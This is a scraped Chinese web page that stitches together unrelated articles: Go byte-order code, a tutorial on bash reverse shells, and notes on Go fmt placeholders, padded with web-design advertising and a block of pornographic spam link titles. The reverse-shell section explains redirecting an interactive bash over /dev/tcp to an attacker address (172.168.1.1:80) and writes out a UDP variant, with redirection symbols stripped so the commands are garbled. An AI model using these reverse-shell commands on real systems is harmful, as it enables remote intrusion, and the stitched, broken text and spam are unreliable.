go語言重定向標準輸出 go語言逆向

Go語言中的字節序

Go中的binary包實現了簡單的數字與字節序列的轉換以及變長值的編解碼

創新互聯歡迎聯系:18980820575,為您提供成都網站建設網頁設計及定制高端網站建設服務,創新互聯網頁制作領域十載,包括攪拌罐車等多個行業擁有多年建站經驗,選擇創新互聯,為網站保駕護航。

package main

import ( "fmt" "bytes" "encoding/binary" ) func main(){ n := 0x12345678 bytesBuffer := bytes.NewBuffer([]byte{}) //BigEndian 大端順序存儲 LittleEndian小端順序存儲 binary.Write(bytesBuffer, binary.BigEndian, int32(n)) data:=bytesBuffer.Bytes() fmt.Printf("[0]: %#x addr:%#x\n",data[0],data[0]) fmt.Printf("[0]: %#x addr:%#x\n",data[1],data[1]) fmt.Printf("[0]: %#x addr:%#x\n",data[2],data[2]) fmt.Printf("[0]: %#x addr:%#x\n",data[3],data[3]) }

輸出

[0]: 0x12 addr:0xc042010248 [1]: 0x34 addr:0xc042010249 [2]: 0x56 addr:0xc04201024a [3]: 0x78 addr:0xc04201024b

也可以使用下面的方式

n := 0x12345678 var data []byte = make([]byte,4) //操作的都是無符號整型 binary.BigEndian.PutUint32(data,uint32(n))

可以使用下面的方式判斷當前系統的字節序類型

const INT_SIZE int = int(unsafe.Sizeof(0))

//判斷我們系統中的字節序類型 func systemEdian() { var i int = 0x1 bs := (*[INT_SIZE]byte)(unsafe.Pointer(i)) if bs[0] == 0 { fmt.Println("system edian is little endian") } else { fmt.Println("system edian is big endian") } }

反彈shell基礎

將這句話拆開來看, bash -i , , /dev/tcp/ , 01 ,有三個知識點。

(1) bash -i 是打開一個交互的bash

(2) /dev/tcp/ 是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。

(3) 和 01 這兩個涉及到Linux文件描述符和重定向。此處的 是取地址符

(1)文件描述符

Linux啟動時會默認打開三個文件描述符(實現文件讀寫操作),Linux把鍵盤、顯示器等設備也當做文件用文件描述符進行控制,如果要修改默認設備就需要進行重定向。

(2)重定向

輸入的重定向包括, 和 ,輸出的重定向包括, 和 , n file 代表將文件描述符 n 重定向到file指代的文件(以只讀方式打開),如果n省略就是0(標準輸入)。同理如果是輸出的重定向, n file ,n省略則默認是1。

錯誤輸出的重定向有三種形式

其中, 和 是一個意思,都是將標準錯誤輸出合并到標準輸出中。 21 和 file 可以用如下過程圖表示

需要注意的是,上述輸入輸出重定向,將輸入和輸出綁定到文件或者設備只對該條指令有效,如果想要一直有效,就需要添加exec指令 exec n / file/n

(3)復制

與之形似的是文件描述符的復制 nm / nm ,這兩個都是將文件描述符 n 復制到 m ,兩者的區別是,前者是以只讀的形式打開,后者是以寫的形式打開,因為讀/寫方式對于復制操作幾乎沒有影響所以兩者基本可以看作是等價的。這里的 目的是區分以數字為名字的文件和文件描述符的數值,如果沒有 系統會認為是將文件描述符重定向到了一個數字作為文件名的文件,而不是另一個文件描述符。

此時再來看這句命令,可與理解為,創建一個可交互的bash和一個到172.168.1.1:80的TCP鏈接,然后將bash的輸入輸出錯誤都重定向到在172.168.1.1:80監聽的進程。

首先,反彈shell可以理解為,攻擊者監聽在TCP/UDP端口,被控制端的請求被轉發到該端口,可以控制其輸入輸出。一般攻擊者攻擊了一臺機器,并用自己的主機去連接該機器的端口,這是一種“正向連接”,遠程桌面、web服務、ssh、telnet等都是正向連接的一種。但是如果被攻擊的機器處于內網中可能造成無法連接,或者有防火墻等限制,再或者攻擊者需要進行實時控制,正向連接是無法滿足需要的。所以有了“反向連接”,即讓被攻擊的主機主動去連接攻擊者的服務器。

所以我們還可以從反向連接的角度來理解一下 01 。如果只是 bash -i /dev/tcp/172.168.1.1/80 ,將輸出描述符連接到了端口,該端口可接收到我們的輸出,即我們正向連接了被攻擊者的機器,但是我們輸入shell后是無法看到回顯的。回顯只會顯示在被攻擊者的機器上。如果我們想要得到回顯,需要將被攻擊機器的輸入描述符連接到我們監聽的端口上。

也就是說如果我們想要看到回顯,除了先將輸出描述符連接到端口上,還需要將其輸入描述符也連接到端口上。即輸入描述符0和輸出描述符1連接相同, 01 即可解決。這就形成了一個回路,實現了遠程交互式shell的功能。

不過這樣的一條指令還不夠完善,因為這條指令會使得我們在被攻擊的機器上依然能看到我們在攻擊者機器中執行的指令,那么解決辦法就是將錯誤輸出和標準輸出進行混合,即將 bash -i 換為 bash -i

Bash相關shell主要有以下幾種:

剛才詳細講的是第一種bash shell,第二種是將 這種錯誤輸出的混合方式改成了 21 ,2代表錯誤輸出,1代表標準輸出,2指向了1,即輸出混合了。文件描述符的復制 nm / nm 兩種雖然讀寫不同但是對于shell的效果是等價的,即和 01 效果相同。所以第二種就是第一種的變種。第四種同理,輸入、輸出、報錯都定位到同一位置。第五種選了一個新的文件描述符196,道理類似。

對于第三種bash shell,exec已經在前面提到過可以持續連接,后面的關鍵點如下:

從文件中依次讀取每一行,將其賦值給 line 變量(其他也可),之后在循環中對line進行操作。這里不再從文件中讀取,而是通過管道符對攻擊者機器上輸入的命令進行依次執行,并且將標準輸出和標準錯誤輸出都重定向到了文件描述符5,也就是攻擊機上,實現交互式shell的功能。

另外,本文最開始的時候說到/dev/tcp/是Linux中的一個特殊設備類似的還有/dev/udp/,按照tcp的方式直接改成udp就行。

sh -i /dev/udp/172.168.1.1/80 01

除了bash還有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用腳本語言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反彈shell的方式,這里就不一一列舉了,原理類似。寫這篇文章總結shell的過程中順手將網絡上的shell進行了收集,將近80條,寫了BashShell.py,就是個簡單的查詢shell的工具,有需要的下方留言

Go語言的%d,%p,%v等占位符的使用

這些是死知識,把常用的記住,不常用的直接查表就行了

golang 的fmt 包實現了格式化I/O函數,類似于C的 printf 和 scanf。

type Human struct {

Name string

}

var people = Human{Name:"zhangsan"}

golang沒有 '%u' 點位符,若整數為無符號類型,默認就會被打印成無符號的。

寬度與精度的控制格式以Unicode碼點為單位。寬度為該數值占用區域的最小寬度;精度為小數點之后的位數。

操作數的類型為int時,寬度與精度都可用字符 '*' 表示。

對于 %g/%G 而言,精度為所有數字的總數,例如:123.45,%.4g 會打印123.5,(而 %6.2f 會打印123.45)。

%e 和 %f 的默認精度為6

對大多數的數值類型而言,寬度為輸出的最小字符數,如果必要的話會為已格式化的形式填充空格。

而以字符串類型,精度為輸出的最大字符數,如果必要的話會直接截斷。

使用起來很簡單,一般配合fmt.Printf()使用,因為fmt的Printf()是有格式的輸出,切忌使用Println(),否則將會以字符串的形式輸出。

查看原文: golang fmt格式“占位符”

分享文章:go語言重定向標準輸出 go語言逆向
當前鏈接:http://m.kartarina.com/article8/dodedip.html

成都網站建設公司_創新互聯,為您提供Google做網站網頁設計公司標簽優化手機網站建設網站營銷

廣告

聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯

成都網站建設公司
主站蜘蛛池模板: 亚洲AV无码乱码在线观看富二代| 麻豆人妻少妇精品无码专区| 国产AV无码专区亚汌A√| 国产免费无码一区二区| 18禁网站免费无遮挡无码中文 | 亚洲av无码日韩av无码网站冲| 人妻丰满熟妇AV无码区| 国产午夜无码视频在线观看| 在线观看无码AV网址| 无码人妻一区二区三区免费n鬼沢 无码人妻一区二区三区免费看 | 亚洲大尺度无码无码专区| 无码少妇A片一区二区三区| 伊人久久综合无码成人网| 国产成人无码A区在线观看导航| 无码人妻少妇久久中文字幕蜜桃| 久久久久成人精品无码| 久久久无码精品人妻一区| 久久精品无码午夜福利理论片 | 亚洲av永久无码| 久久久久亚洲av无码专区喷水 | 久久亚洲精品无码AV红樱桃| 日韩人妻无码一区二区三区久久99| 亚洲AV无码资源在线观看| 久久久久精品国产亚洲AV无码| 国产成A人亚洲精V品无码| 人妻少妇无码精品视频区| 午夜亚洲av永久无码精品| 日韩久久无码免费毛片软件| 国产成人无码精品久久久小说| 亚洲av永久无码嘿嘿嘿| 日韩精品真人荷官无码| 亚洲欧洲日产国码无码网站 | 亚洲中文字幕无码久久2017 | 无码专区永久免费AV网站| 99久久国产热无码精品免费| 日韩精品无码专区免费播放| 日韩精品久久无码人妻中文字幕| 无码午夜成人1000部免费视频| 少妇无码一区二区三区| 蜜桃臀AV高潮无码| 色综合无码AV网站|